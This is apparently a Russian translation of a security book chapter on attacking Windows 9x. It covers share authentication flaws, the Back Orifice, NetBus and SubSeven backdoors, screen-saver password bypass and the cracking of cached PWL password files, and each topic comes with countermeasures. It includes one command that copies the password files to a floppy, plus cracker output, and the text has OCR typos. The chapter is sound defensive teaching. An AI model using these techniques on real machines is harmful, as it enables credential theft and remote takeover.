          5 января 1999 года группа исследования вопросов безопасности, известная под названием LOpht, обнародовала документ, содержащий информацию о выявленном ею изъяне в процедуре сетевой аутентификации, выполняемой при предоставлении доступа к совместно используемым файловым ресурсам. Тестируя очередную версию своего печально известного средства LOphtcrack. предназначенного для взлома и скрытного хищения паролей (см. главу 5). было установлено, что система Win 9x, на которой установлен режим совместного использования файлов и принтеров, каждые 15 минут обращается к удаленному компьютеру за подтверждением соединения. Поскольку система Windows в этом запросе использует комбинацию хэш-кода пароля и имени удаленного пользователя, а также учитывая, что имя пользователя передается в виде незакодированного текста, взломщик может просто переслать перехваченный им запрос на аутентификацию и успешно подключиться к совместно используемому ресурсу системы Win 9x. Если все это произойдет в течение 15 минут, хэшировпнный пароль будет идентичным.
          Хотя этот случай является классической криптографической ошибкой, которую компания Microsoft просто не должна была допустить, данным изъяном очень трудно воспользоваться. В документе группы LOpht говорится о возможности модификации исходного текста популярного сетевого клиента Windows для UNIX под названием Samba  в целях ручного восстановления потока данных, передаваемых по сети при аутентификации. Однако уровень квалификации программиста, необходимый для успешного решения этой задачи, а также необходимость иметь доступ к локальному сетевому сегменту для прослушивания какого-либо соединения, делает повсеместное распространение данного подхода маловероятным.

          Хакинг сервера удаленного доступа Win 9x



          Показанный на рис. 4.4 компонент Windows Dial-Up Server, входящий в состав Win 9x, — это еще одна "приятная неожиданность" для системного администратора. Любой пользователь, установив пакет Microsoft Plus! for Windows 95 и подключив модем, может создать брешь в системе защиты корпоративной сети (пакет Microsoft Plus! входит в стандартный комплект поставки Win 98).
          Система, функционирующая в качестве сервера удаленного доступа, как правило, разрешает и совместный доступ к файлам (иначе устанавливать сервер удаленного доступа нет никакого смысла). Это означает, что пользователь, находящийся по ту сторону модемного соединения, может провести инвентаризацию всех совместно используемых ресурсов и попытаться подобрать пароли (если, конечно, они вообще используются). Об этом уже упоминалось в предыдущем разделе. Все различие в подходах заключается лишь в установлении связи не по локальной сети, а через сервер удаленного доступа.



          Рис. 4.4. Превратить систему Win 9х в сервер удаленного доступа чрезвычайно просто

          Контрмеры: защита от хакинга через удаленные соединения



          Совсем не удивительно, что рекомендации остаются прежними. Во-первых, сами не используйте сервер удаленного доступа Win 9х а во-вторых, с помощью редактора системной политики запретите его устанавливать и пользователям. Если же удаленный доступ все-таки очень необходим, обязательно устанавливайте пароль для входящих подключений и обеспечьте его шифрование. (Такой режим можно установить в диалоговом окне Server Туре, которое открывается после щелчка на одноименной кнопке диалогового окна свойств Dial-Up Server). Можно также перейти к аутентификации на уровне пользователя, т.е. выполнять аутентификацию с помощью сервера безопасности, такого как контроллер домена Windows NT или сервер NetWare. Установите пароль для доступа к каждому совместно используемому ресурсу (причем чем сложнее пароль, тем лучше), а также сделайте эти ресурсы скрытыми, добавив к их именам символ $.
          Взломщик, которому удастся проникнуть через сервер удаленного доступа и подобрать пароль к совместно используемым ресурсам, может воспользоваться любой информацией, которую он обнаружит в открывшихся ему папках и файлах. Однако он не сможет проникнуть в сеть непосредственно через систему Win 9x, поскольку она не обеспечивает маршрутизацию потока данных.
          Необходимо также помнить, что удаленные соединения (DUN — Dial-Up Networking) уже давно не являются исключительно модемной технологией. Теперь возможности удаленного доступа используются в виртуальных частных сетях (VPN — Virtual Private Networking), о которых мы поговорим в главе 9. Поэтому нам кажется, что необходимо сказать пару слов об одном из самых важных с точки зрения обеспечения безопасности модуле обновления встроенной поддержки сетей VPN в Win 9x. Этот модуль, называемый Dial-Up Networking Update 1.3 (DUN 1.3), позволяет системе Win 9х устанаштивать более защищенные соединения с серверами виртуальной частной сети Windows NT. Если вы используете технологию VPN компании Microsoft, не раздумывая установите модуль DUN 1.3. DUN 1.3, как мы вскоре убедимся, позволяет также защититься от нарушения работы из-за возникновения условия DoS.
          Подробнее о недостатках удаленного доступа и сетей VPN мы поговорим в главе 9.

          Удаленный хакинг системного  реестра Win 9x



          В отличие от Windows NT, система Win 9x не содержит встроенных средств поддержки удаленного доступа к системному реестру. Однако если установлен компонент Remote Registry Service (RRS), который можно найти на установочном компакт-диске Windows 9х в каталоге \admin\nettools\remotreg. то это становится вполне возможным. Для работы службы RRS необходимо переключиться в режим защиты на уровне пользователей. Следовательно, для получения доступа потребуется вести правильное имя пользователя. Если взломщику повезет и ему попадется система с установленным компонентом RRS и совместно используемым каталогом, доступным для записи, а также если ему удастся узнать какое-нибудь имя пользователя и подобрать соответствующий пароль, то в результате он сможет сделать с такой системой все, что только пожелает. Легко ли отвести от себя такую угрозу? Нам кажется, что да. Более того, чтобы ее создать, надо немало потрудиться. Если вы хотите установить службу RRS, обязательно выберите хороший пароль, и этого будет достаточно. В противном случае не устанавливайте этот компонент вообще и спите спокойно, зная, что все попытки получить доступ к реестру закончатся ничем.
          Последняя в нашем перечне, но далеко не последняя по степени риска и последствиям угроза удаленного проникновения состоит в использовании протокола SNMP (Simple Network Management Protocol). В главе 3, мы уже говорили о том, что этот протокол может с успехом применяться для инвентаризации компьютеров, работающих пол управлением Windows NT, на которых запушен агент SNMP, настроенный на использование установленных по умолчанию строк доступа типа public. To же самое относится и к системе Win 9x, если на ней установлен агент SNMP (соответствующий модуль можно найти в каталоге \tools\reskic\netadmin\snmp установочного компакт-диска). Однако поддержка протокола SNMP в Win 9x отличается от его реализации в Windows NT тем, что при этом не сообщается информация об именах пользователей и совместно используемых ресурсов, поскольку в Win 9x реализована версия 1 информационной управляющей базы Ml В. Таким образом, в данном случае возможности по использованию протокола SNMP ограничены.


          1.gif

          Изображение: 

          2.gif

          Изображение: 

          3.gif

          Изображение: 

          4.gif

          Изображение: 

          4. "Потайные ходы" и программы типа "троянский конь" в Win 9x



          "Потайные ходы" и программы типа "троянский конь" в Win 9x


          Если предположить, что в вашей системе Win Эх не используется совместный доступ к файлам, не установлен сервер удаленного доступа и отсутствует поддержка удаленного доступа к системному реестру, то можно ли считать ваш компьютер защищенным? По-видимому, в настоящий момент на этот риторический вопрос можно дать отрицательный ответ. Если злоумышленникам не хватает средств удаленного администрирования, они просто пытаются их установить.
          В этом разделе мы рассмотрим три наиболее популярные из таких программ, которые разработаны по технологии клиент/сервер. Каждую из них можно найти в Internet. Кроме того, вы познакомитесь с "троянскими конями" — программами, которые на первый взгляд выглядят достаточно полезными, однако на самом деле содержат другой код, который может привести к злонамеренным или разрушительным действиям. Конечно, в Сети можно обнаружить бесчисленное множество таких программ и для их описания не хватит даже самой толстой книги.

          Back Orifice



          Программа Back Orifice (ВО), фактически являясь одной из самых известных программ хакинга Win 9x, анонсирована разработчиками как средство удаленного администрирования системы Win 9x. Эта программа была выпущена летом 1998 года в соответствии с соглашениями по безопасности Black Hat (http: //www.blackhat.com/), и ее по-прежнему можно свободно получить по адресу (http: //www.cultdeadcow.com/tools). Back Orifice позволяет получить практически полный удаленный контроль над системой Win 9x, включая возможность добавления и удаления ключей системного реестра, перезагрузки системы, отправки и получения файлов, просмотра кэшированных паролей, порождения процессов и создания совместно используемых файловых ресурсов. Кроме того, другими хакерами для исходного сервера ВО были написаны подключаемые модули, предназначенные для установления связи с определенными каналами IRC (Internet Relay Chat), такими, например, как #BO_OWNED, и последующего разглашения IP-адреса жертвы всем, кто интересуется подобными вещами.
          Программу ВО можно настроить таким образом, чтобы она самостоятельно устанавливалась и запускалась с использованием любого имени файла ([space] .exe используется по умолчанию). При этом добавляется параметр в ключ системного реестра HKEY_LOCAL_MACHINE\ Software\MicrosoftWindows\CurrentVersion\RunServices , чтобы запуск ВО выполнялся при каждой загрузке компьютера. По умолчанию программой ВО применяется UDP-порт с номером 31337.
          Очевидно, что программа ВО является воплощением мечты любого хакера, если не для проникновения в систему, то уж наверняка для удовлетворения болезненного любопытства. Появление ВО оказалось настолько грандиозным событием, что через год появилась вторая версия: Back Orifice 2000 (ВО2К, http://www.bo2k.com). Программа ВО2К имеет те же возможности, что и ее предыдущая версия, за исключением следующего. Во-первых, и клиентская и серверная части работают в системах Windows NT/2000 (а не просто в Win 9л:). А, во-вторых, появился набор средств разработки, что значительно затрудняет выявление различных модификаций этой программы. По умолчанию программой ВО2К используется TCP-порт 54320 или UDP-порт 54321 и выполняется копирование файла UMGR32.EXE в папку %systemroot%. Для предотвращения принудительного завершения работы ВО2К в списке задач будет маскироваться под именем EXPLORER. Если программа разворачивается в скрытом режиме, то она будет установлена в качестве службы удаленного администрирования (Remote Administration Service), в ключ HKLM\SOFTWARE\Microsoft\Windows\ CurrentVersion\RunServices будет добавлен соответствующий параметр, а затем будет удален исходный файл. После этого запуск программы ВО2К будет выполняться при каждой загрузке компьютера. Все эти действия можно выполнить также с помощью утилиты bo2kcfg.exe, распространяемой вместе с пакетом Back Orifice 2000. На рис. 4.5 представлен внешний вид клиентной части программы ВО2К, bo2kgui. ехе, которая осуществляет контроль системы Win 98SE. Из рис. 4.5 видно, что теперь клиент ВО2К может использоваться для остановки удаленного сервера и его удаления из инфицированной системы. Для этого нужно открыть папку Server Control, выбрать элемент Shutdown Server, а затем ввести команду DELETE.



          Рис. 4.5. Клиентская программа с графическим интерфейсом (bo2kgui.exe) из пакета Back Orifice 2000 (ВО2К) управляет "потайным ходом " системы Win 9х. С ее помощью можно удалить и сам сервер ВО2К

          У клиента ВО2К имеется одна особенность, которая плохо документирована. Она заключается в том, что иногда в поле Server Address необходимо указывать номер порта (например, 192.168.2.78:54321, а не просто IP-адрес или имя DNS).

          NetBus



          Более требовательному хакеру, возможно, больше понравится "дальняя кузина" ВО — программа NetBus, позволяющая получить удаленное управление над системой Windows (в том числе и Windows NT/2000). Эта программа, написанная Карлом-Фредериком Нейктером (Carl-Fredrik Neikter), имеет более привлекательный и понятный интерфейс, а также более эффективный набор функций. В частности, она оснащена графическим интерфейсом, с помощью которого можно осуществлять удаленное управление (правда, только для высокопроизводительных соединений). Программа NetBus тоже позволяет гибко настраивать параметры. Кроме того, в Internet можно найти несколько ее модификаций. Сервер, запускаемый по умолчанию, имеет имя patch.exe (хотя его можно заменить на любое другое). Обычно при установке в ключ системного реестра HKEY_LOCAL_MACHINEXSoftware\ Microsoft\Windows\CurrentVersion\Run добавляется соответствующий параметр, чтобы сервер запускался каждый раз при загрузке компьютера.
          По умолчанию с программой NetBus связывается TCP-порт 12345 или 20034. Поскольку эта программа не позволяет использовать UDP-порт (как ВО2К), то пересылаемые ею данные могут с большей вероятностью отфильтровываться брандмауэром.

           SubSeven



          Судя по всему, сервер SubSeven по популярности превосходит программы ВО, ВО2К и NetBus вместе взятые. Он определенно более стабильный, простой в использовании и предоставляет гораздо более широкие возможности хакерам. Эту программу МОЖНО найти ПО адресу http://subseveri.slak.org/main.html.
          С сервером SubSeven (S7S) по умолчанию связан TCP-порт 27374, который используется по умолчанию и для клиентских соединений. Как и ВО и NetBus, программа S7S предоставляет взломщику практически полный контроль пал "жертвой". включая следующие возможности.

          •  Сканирование портов (выполняется непосредственно на удаленном компьютере!).
          •  Запуск FTP-сервера с корневым каталогом С:\ (с неограниченными правами чтения/записи).
          •  Удаленное редактирование системного реестра.
          •  Извлечение кэшированных паролей, а также паролей RAS, ICQ и других служб.
          •  Перенаправление потоков ввода-вывода портов и приложений.
          •  Печать.
          •  Перезагрузка удаленной системы.
          •  Регистрация нажатий на клавиши (по умолчанию прослушивается порт 2773).
          •  Удаленный терминал (по умолчанию прослушивается порт 2773).
          •  Перехват управления мышью.
          •  Контроль за удаленными приложениями iCQ, AOL Instant Messenger, MSN Messenger и Yahoo Messenger (по умолчанию используется порт 54283).
          •  Запуск Web-броузера и переход на узел, заданный пользователем.

          Сервер предоставляет также возможность использования канала IRC, что позволяет взломщику задать IRC-сервер и канал, к которому нужно подключиться. После этого сервер S7S передает данные о своем местоположении (IP-адрес, связанный с ним порт и пароль). Кроме того, S7S может функционировать в качестве стандартного IRC-сервера, передавать через канал команды, уведомлять взломщика об успешном поиске ценной информации через службу ICQ, почтовые службы, а также выполнять множество других действий.
          С помощью приложения EditServer, распространяемого вместе с S7S, сервер можно настроить таким образом, чтобы он загружался в процессе загрузки системы. Для этого нужно поместить параметр WinLoader в ключ Run/RunServices или внести соответствующие изменения в файл WIN. INI.
          Как видно из информации одного из популярных списков почтовой рассылки, посвященного вопросам безопасности в Internet, представители крупных телекоммуникационных компаний США жаловались на то, что на протяжении конца января и начала марта 2000 года большое количество компьютеров их корпоративных сетей было поражено программой S7S. Все серверы подключались к виртуальному IRC-cepsepy (irc.ircnetwork.net, а не к определенному серверу) и использовали один и тот же канал. При этом примерно через каждые пять минут передавался их IP-адрес, номер порта и пароль. В качестве заключения можно сказать следующее: после того, как сервер поместил в открытый канал пароль и другие важные данные, практически любой пользователь, подключенный к этому же каналу, с помощью клиента SubTClient может подключиться к инфицированному компьютеру и выполнять любые действия. Вне всяких сомнений, Sub? представляет собой сложную и скрытую программу, которая прекрасно подходит для сетевого хакинга. FTP-сервер, входящий в состав пакета Sub7, представлен на рис. 4.6.



          Рис. 4.6. Клиент SubSeven предоставляет возможности использования FTP-cepeepa

          Контрмеры: ликвидация "потайных ходов" и удаление "троянских коней"



          Все приложения-серверы, создающие "потайные ходы", должны выполняться на целевом компьютере. Их нельзя запустить удаленно (конечно, если ранее удаленная система не стала "собственностью" хакера). Обычно это можно осуществить, воспользовавшись распространенными ошибками клиентов Internet и/или элементарным обманом. Возможно, взломщики применят оба подхода. Эти методы, а также возможные контрмеры, более подробно рассматриваются в главе 16. Здесь же стоит сказать лишь следующее: постоянно выполняйте обновление используемого клиентского программного обеспечения, предназначенного для работы в Internet, и тщательно осуществляйте его настройку.
          Другая возможность закрытия всех "тайных лазеек" заключается в предотвращении внешнего доступа к тем открытым портам, которые обычно используются такими программами. Через соответствующие порты с большими номерами нам удавалось подключиться ко многим узлам с помощью брандмауэра. При этом подключение к запущенным серверам внутренних сетей превращалось в детскую игру. Полный список портов, используемых "троянскими конями" и приложениями, применяемыми для создания "потайных ходов", можно найти на Web-узле компании TLSecurity по адресу http://www.tlsecurity.net/trojanh.htm.
          Уделяйте пристальное внимание вопросам контроля доступа к брандмауэрам из внутренней сети. Хотя более опытные взломщики могут настроить свои серверы и на использование портов 80 и 25 (которые практически всегда доступны для таких целей), это значительно сузит спектр их возможностей.
          Для тех, кто хочет познакомиться с рассматриваемой проблемой поглубже и удостовериться в ее отсутствии в действующей сети, можно обратиться к базе данных компании TLSecurity по адресу http://www.tlsecurity.net/tlfaq.htm. Ее автор, группа Int-13h, провела кропотливую работу по сбору всеобъемлющей и подробной информации о том, где можно найти подобное программное обеспечение. (Возможно ли, чтобы в этой базе данных упоминалось каждое из таких средств? Познакомьтесь с содержащимся там перечнем.)
          В настоящее время многие из антивирусных программных продуктов позволяют выполнять поиск всех подобных средств (перечень коммерческих производителей можно найти в базе данных компании Microsoft (Knowledge Base) в статье Q495000 по адресу http://search.support.microsoft.com). Специалисты Int_13h настоятельно рекомендуют использовать пакет AntiViral Toolkit Pro (AVP), который можно найти по адресу http://www.avp.com. Некоторые компании предоставляют средства, предназначенные для удаления "троянских коней" и ликвидации других "потайных ходов", например пакет TDS (Trojan Defense Suite). Его можно найти по адресу http: //www.multimania.com/ilikeit/tds .htm (еще одна рекомендация Int_13h).
          Остерегайтесь волков в овечьих шкурах. Например, одно из средств удаления программы ВО, называемое BoSniffer, на самом деле является "троянским конем" и содержит саму программу ВО. Будьте осмотрительны в применении свободно распространяемых утилит поиска "троянских коней".
          Программное обеспечение для создания "потайных ходов" и "троянские кони'' будут рассматриваться также в главе 14.


          5.gif

          Изображение: 

          6.gif

          Изображение: 

          5. Известные изъяны серверных приложений



          Известные изъяны серверных приложений


          ВО — это не единственный пример программы, которая делает узел уязвимым перед вторжением извне. Существует немало как некоммерческих, так и коммерческих программ, которые, пусть и непреднамеренно, но все же фактически делают то же самое. Пожалуй, невозможно перечислить все программы для Win 9x, угрожающие в той или иной степени безопасности, однако имеется одно универсачьное средство: не запускайте серверные приложения под Win 9x, если вы не уверены в их безопасности. Одним из ярких примеров такой популярной, но обладающей очень большим потенциалом с точки зрения проникновения в систему, является Personal Web Server компании Microsoft. Его необновленные версии могут предоставлять содержимое файлов взломщикам, которые знают их расположение на диске и используют в запросах нестандартные URL (более подробную информацию об этом можно получить по адресу http://www.miсгosoft.com/security/bulletins/ms99-010.asp).
          В завершение необходимо подчеркнуть, что после установки коммерческого программного обеспечения, предназначенного для удаленного управления системой Win 9x. все предыдущие рекомендации не имеют смысла. Если такие программы не настроены должным образом, то любой мало-мальски грамотный и настойчивый злоумышленник сможет получить полный контроль над вашим компьютером, как если бы он сам сидел за его клавиатурой. О таких программах мы поговорим подробнее в главе 13.


          6. Отказ в обслуживании (DoS)



          Отказ в обслуживании DoS


          Вмешательство в работу, приводящее к отказу системы от обслуживания (Denial of Service) поступающих к ней запросов, — это последнее прибежище для извращенного ума. К сожалению, людей с таким типом мышления в Internet предостаточно. Имеется много программ, обладающих возможностью отправки сетевых пакетов с "патологической" структурой, предназначенных для аварийного завершения работы Win 9x Обычно такие программы имеют названия типа ping of death, teardrop, land, WinNuke и т.п. Подробнее об отказе в обслуживании мы будем говорить в главе 12, а сейчас лишь отметим, что для системы Win 9x существует одно универсальное средство защиты: модуль обновления Dial-Up Networking Update 1.3 (DUN 1.3).

          Контрмеры



          В состав DUN 1.3 входит обновленная библиотека Win 95 Windows Sockets (Winsock), в которой реализованы основные процедуры обработки многих потенциальных проблем TCP/IP, используемых при нападении с целью генерации условия DoS. Пользователям Win 98 не нужно устанавливать это обновление, за исключением, пожалуй, лишь жителей Северной Америки, которые хотят обновить используемые по умолчанию в Windows 98 средства шифрования с 40-битовыми ключами на их более надежную 128-битовую версию. Пакет обновления DUN 1.3 для Win 95 можно найти по адресу http://www.microsoft.com/windows95/downloads/.
          Однако даже после установки пакета DUN 1.3 мы настоятельно рекомендуем не предоставлять компьютеры Win 9x непосредственно в Internet (т.е. минуя внутренний брандмауэр или другое устройство управления доступом).

          Программные брандмауэры



          И в заключение рассмотрения методов удаленного проникновения мы настоятельно рекомендуем приобрести какой-нибудь программный брандмауэр из числа имеющихся на современном рынке программного обеспечения. Эти программы будут выступать буфером между компьютером и сетью, что позволит заблокировать все попытки несанкционированных действий. Нам больше всего нравится пакет BlackICE Defender, который распространяется компанией Network ICE (http://www.networkice.com) по цене $39.95. К другим программным продуктам, популярность которых быстро возрастает, можно отнести ZoneAlarm (бесплатно распространяемый компанией Zone Labs для личного использования, http://www.zonelabs.com/) и бесплатно распространяемый пакет eSafe Desktop компании Aladdin (http://www.ealaddin.com/esafe/desktop/detailed.asp). Для того чтобы избежать головной боли в дальнейшем, приобретите такое средство и обеспечьте его функционирование в наиболее напряженном режиме.


          7. Непосредственное проникновение



          Непосредственное проникновение


          Как нам кажется, в предыдущем разделе мы довольно убедительно показали, что для того, чтобы сделать систему Win 9x доступной для удаленного проникновения, пользователю нужно так или иначе потрудиться. К сожалению, в том случае, когда злоумышленник имеет физический доступ к системе, картина меняется на противоположную: теперь пользователю нужно потрудиться, чтобы сделать систему по-настоящему недоступной. В большинстве случаев, располагая достаточным запасом времени и пользуясь отсутствием должного контроля, а также наличием свободного черного хода, злоумышленники рассматривают физический доступ как возможность простого хищения компьютера. Однако в данном разделе мы не будем рассматривать угрозы, связанные с массовыми хищениями самих компьютеров, а сосредоточимся на некоторых скрытых (а также явных) методах, позволяющих похитить критическую информацию, содержащуюся на компьютере с системой Win 9x

          Обход средств защиты Win 9x:  перезагрузка!



          В отличие от Windows NT в системе Win 9x не используется концепция безопасного многопользовательского доступа к консоли. Таким образом, любому, кто имеет возможность приблизиться к системе с Win 9x на расстояние вытянутой руки, для получения доступа нужно просто включить компьютер либо выполнить "жесткую" перезагрузку (hard reboot), если он заблокирован с помощью экранной заставки (screen saver). Ранние версии Win 95 позволяли обходить заставку даже с помощью комбинаций клавиш <Ctrl+Alt+Del> или <Alt+Tab>! Все приглашения на ввод пароля, которые появляются при начальной загрузке, — не более чем косметические меры. Пароль Windows нужен лишь для активизации того или иного пользовательского профиля и не обеспечивает защиту каких-либо ресурсов (кроме самого списка паролей, о чем говорится ниже в этой главе). Для обхода приглашения на ввод пароля достаточно щелкнуть на кнопке Cancel, после чего продолжится нормальная загрузка системы. После ее завершения доступ к системным ресурсам будет практически полным. То же самое относится и ко всем диалоговым окнам сетевой регистрации (их вид может зависеть от того, к какому типу сети подключена система, но суть от этого не меняется).

          Контрмеры: защита консоли



          Одним из традиционных методов решения этой проблемы является установка пароля, хранящегося в BIOS. BIOS (Basic Input Output System) — это система низкоуровневых процедур, код которых хранится в специальной микросхеме, которая устанавливается на системной плате и обеспечивает начальную инициализацию оборудования совместимых с IBM PC компьютеров и загрузку операционной системы. Таким образом, система BIOS первой получает доступ к ресурсам, поэтому практически все разработчики BIOS предоставляют возможность защиты доступа к компьютеру с помощью пароля, что может остановить не очень искушенного злоумышленника. Профессионалы, конечно, могут просто извлечь из компьютера жесткий диск и подключить его к другому компьютеру без пароля BIOS или же воспользоваться одним из многочисленных средств взлома пароля BIOS, которые можно найти в Internet.
          Конечно, для экранной заставки также нужно обязательно задать пароль. Это можно осуществить в диалоговом окне Display Properties во вкладке Screen Saver. Одна из наиболее досадных особенностей системы Win 9x заключается в том, что в ней отсутствует встроенный механизм ручной активизации экранной заставки. Однажды для этого мы воспользовались одной хитростью. Ключ -s программы загрузки Microsoft Office (osa.exe -s) позволяет активизировать заставку и, таким образом, эффективно блокировать экран при каждом ее запуске. Для удобства мы поместили соответствующий ярлык в меню Start, так что этой командой можно было воспользоваться при первой необходимости. Более подробную информацию можно получить в базе знаний компании Microsoft в статье Q210875 (http://search.support.microsoft.com).
          Кроме того, существует несколько коммерческих пакетов, предназначенных для зашиты Win 9x, которые блокируют доступ к системе или шифруют содержимое жесткого диска. Шифрование файлов с применением открытого ключа выполняет и очень известная в настоящее время, но по-прежнему бесплатная для частных лиц программа PGP (Pretty Good Privacy), которую распространяет компания Network Associates, Inc. (http: //www.nai.com).

          Автозапуск и взлом пароля экранной заставки



          Перезапуск компьютера с помощью кнопки Reset системного блока или с помощью комбинации клавиш <Ctrl+Alt+Del> — это слишком примитивно для взломщика-эстета (или же слишком осторожного системного администратора, забывшего пароль экранной заставки). К удовольствию столь ранимых натур, существует более красивый способ обхода защиты системы Win 9x, в которой установлен пароль экранной заставки. Он базируется на двух недостатках системы безопасности Win 9x — режиме автоматического распознавания компакт-дисков и примитивном алгоритме шифрования пароля в системном реестре.
          Лучше всего проблема автоматического распознавания компакт-дисков описывается в статье Q14I059 базы знаний компании Microsoft.
          "Windows постоянно опрашивает дисковод CD-ROM, чтобы определить момент, когда в него будет помещен компакт-диск. Как только это произойдет, выполняется проверка наличия файла Autorun.ini. Если такой файл существует, то автоматически будут запушены программы, указанные в строке ореn= этого файла."
          Нетрудно догадаться, что такой "сервис" может обернуться несанкционированным запуском любой программы (как вы относитесь к идее автозапуска Back Orifice или NetBus с пиратского компакт-диска?). Однако сейчас для нас важнее другая сторона этой медали — в системе Win 9x программа, указанная в файле Autorun.ini, запускается лаже во время работы экранной заставки.
          Теперь перейдем ко второму недостатку. Общеизвестно, что Win 9x помешает пароль, используемый для отключения экранной заставки, в ключе системного реестра HKEY\Users\.Default\Control Panel\ScreenSave_Data, а механизм преобразования (шифрованием это назвать трудно) пароля уже изучен. Поэтому не составляет никакого труда извлечь это значение из системного реестра (если не используются профили пользователей, то системный реестр хранится в файле С: Windows\ USER.DAT), восстановить его, а затем передать полученный пароль системе через вызов стандартной процедуры. Вуаля — экранная заставка исчезла!
          Такой трюк умеет проделывать программа SSBypass компании Amecisco (http://www.amecisco.com/ssbypass.htm), которая стоит $39.95. Существуют и отдельные программы-взломщики пароля экранной заставки, такие, например, как 95sscr4.  Там же можно познакомиться и со многими другими интересными утилитами. Программа 95sscrk не обходит экранную заставку, а просто извлекает пароль из системного реестра и расшифровывает его.

          С: \TEMP>95sscrk
          Win9b Screen Saver Password Cracker vl.I - Coded by Nobody
          (noboaySengaiska.se)
          (c) Cupyrite 1997 Burnt Toad/AK
          Enterprises - lead 95SSCRK.TXT before usage!
          -----------------------------------------
          • No filena-e in command line,
          using default! (C:\WINDOWS\USER.DAT)
          • Rav, registry file detected, ripping out strings..
          . • Scanning strings for password key...
          Found password data! Decrypting ...
          Password is GUESSME"
          _ Cracking complete!
          Enjoy the passwords!

          Контрмеры: защита экранной заставки Win 9х



          Компания Microsoft разработала модуль обновления, который обеспечивает гораздо более высокий уровень зашиты пароля экранной заставки, под названием Windows NT/2000. Однако для упрямых приверженцев Win9x, которые могут согласиться лишь на отключение режима автоматического распознавания компакт-дисков, приведем выдержку из статьи Q126025 базы знаний Microsoft Knowledge Base.
          1. В панели управления щелкните дважды на пиктограмме System.
          2. Перейдите во вкладку Device Manager открывшегося диалогового окна.
          3. Щелкните дважды на элементе, соответствующем устройствам чтения компакт-дисков, а затем — на элементе списка, соответствующем вашему устройству.
          4. В открывшемся диалоговом окне перейдите во вкладку Settings и сбросьте флажок Auto Insert Notification.
          5. Щелкайте на кнопках ОК или Close до тех пор, пока не закроются все открытые окна и вы не вернетесь в окно панели управления. Когда появится сообщение с предложением перезагрузить компьютер, щелкните на кнопке Yes.

          Обнаружение паролей Win 9x  в памяти



          Если после обхода экранной заставки у злоумышленника еще остался некоторый запас времени, он может воспользоваться средствами обнаружения и получить другие системные пароли, которые в соответствующих строках диалоговых окон представляются символами "*". Такие средства скорее можно отнести к утилитам, которые могут помочь забывчивым пользователям, чем к инструментам взломщика, однако они настолько хороши, что нельзя их не упомянуть и в данной книге.
          Одной из самых популярных утилит обнаружения паролей является Revelation, созданная компанией SnadBoy Software (http://www.snadboy.com), работа которой показана на рис. 4.7.
          Еще одной подобной утилитой является ShoWin Робина Кейра (Robin Keir). Среди других утилит такого же класса можно отметить Unhide, написанную Витасом Раманчаускасом. Там же можно получить и утилиту pwltool, о которой МЫ поговорим в следующем разделе. Во многих архивах Internet можно отыскать программу Dial-Up Ripper (dripper) Корхана Кая (Korhan Kaya), которая позволяет получить пароли удаленных соединений, если в их свойствах был установлен режим их сохранения. Еще раз напомним, что для использования данных утилит необходимо иметь физический доступ к компьютеру, на котором легальный пользователь начал сеанс работы. (Строго говоря, если злоумышленник имеет такую возможность, то зачем ему пароли, — ведь в его распоряжении весь компьютер?) Однако такие программные средства все же могут представлять собой угрозу в том случае, если кто-либо имеет возможность беспрепятственного доступа к разным компьютерам организации и располагает обычной дискетой с такими программами, как Revelation. Просто представьте на минуту. что все пароли организации могут попасть, например, в руки студента, приглашенного для администрирования сети на время летних отпусков! Да, кстати. Система Windows NT также не может противостоять таким средствам. Упомянутые выше утилиты окажутся бессильными лишь в одном случае: если в диалоговых окнах не сохраняются пароли (проще говоря, если после открытия окна в соответствующей строке вы не видите звездочек, то можно спать спокойно).



          Рис. 4.7. Утилита Revelation 1.1 компании SnadBoy Software позволяет увидеть "скрытый " пароль, используемый для доступа к совместно используемым ресурсам Windows

          Взлом файлов . PWL



          Злоумышленнику вовсе не обязательно получить доступ к компьютеру на несколько часов —- он может за пару минут переписать нужные ему файлы на дискету, а затем расшифровать их в свободное время, как это обычно и делается при использовании "классических" утилит взлома паролей, таких как crack для UNIX или LOphtcrack для Windows NT.
          Зашифрованные файлы паролей Win 9x (с расширением PWL), находятся в корневом каталоге Windows (обычно С: \windows). Эти файлы именуются аналогично пользовательским профилям системы. Поэтому достаточно воспользоваться простым командным файлом, чтобы скопировать на дискету все найденные файлы паролей, сору С:\Windows\*.pwl a:
          По сути дела. PWL-файл представляет собой кэшированный список паролей, используемых для получения доступа к следующим сетевым ресурсам.

          •  Совместно используемые ресурсы, защищенные с помощью пароля.
          •  Приложения, использующие программный интерфейс (API — Application Programming Interface) для доступа к кэшированным паролям (например, Dial-Up Networking).
          •  Компьютеры Windows NT, не входящие в домен.
          • Пароли для входа в сеть Windows NT, которые не являются основными паролями входа в сеть. 
          •  Серверы NetWare.

          До появления версии OSR2 в системе Windows 95 применялся очень простой алгоритм шифрования PWL-файлов, который можно было взломать с помощью широко распространенных средств без особых усилий. OSR2 (OEM System Release 2) — это промежуточная версия Windows 95, которая не продавалась в розничной сети, а устанавливалась производителями аппаратных средств (OEM — Original Equipment Manufacturer). В настоящее время при шифровании РWL-файлов используется более надежный алгоритм, однако он по-прежнему основывается лишь на данных учетной записи пользователя Windows. Это означает, что время, необходимое на подбор пароля, возросло, но сама задача взлома пароля осталась по-прежнему вполне выполнимой.
          Одним из средств для взлома PWL-файлов является утилита pwltool, написанная уже упоминавшимся Витасом Раманчаускасом и Евгением Королевым. Эта утилита (рис. 4.8) может применяться для взлома заданного PWL-файла как с помощью словаря, так и путем обычного перебора всех возможных вариантов. Таким образом, успех взлома зависит всего лишь от размера словаря (pwltool требует, чтобы все слова в списке состояли из прописных символов) и вычислительной мощности компьютера. Хотим еще раз подчеркнуть, что pwltool скорее нужно расценивать как полезную утилиту для забывчивых пользователей, а не как инструмент хакинга. На наш взгляд, время можно провести гораздо полезнее, чем тратить его на взлом PWL-файла. С другой стороны, если судить формально, то такие утилиты все же представляют собой достаточно серьезную опасность.



          Рис. 4.8. Утилита pwltool позволяет получить пароли, хранящиеся в pWL-фашшх.

          Еще одним хорошим средством для взлома РWL-файлов является CAIN от Break-Dance (http://www.confine.com). Эта утилита позволяет также получить из системного реестра пароль экранной заставки, выполнить инвентаризацию локальных совместно используемых ресурсов, кэшированных паролей и другой системной информации.

          Контрмеры: защита PWL-файлов



          Для тех администраторов, которых действительно беспокоит данная проблема. можно посоветовать воспользоваться редактором системной политики Win 9x и запретить кэширование паролей. Эту задачу можно решить и другим способом, создав (при необходимости) и установив следующий параметр системного реестра.
          HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Policies\ Network\DisablePwdCaching = 1
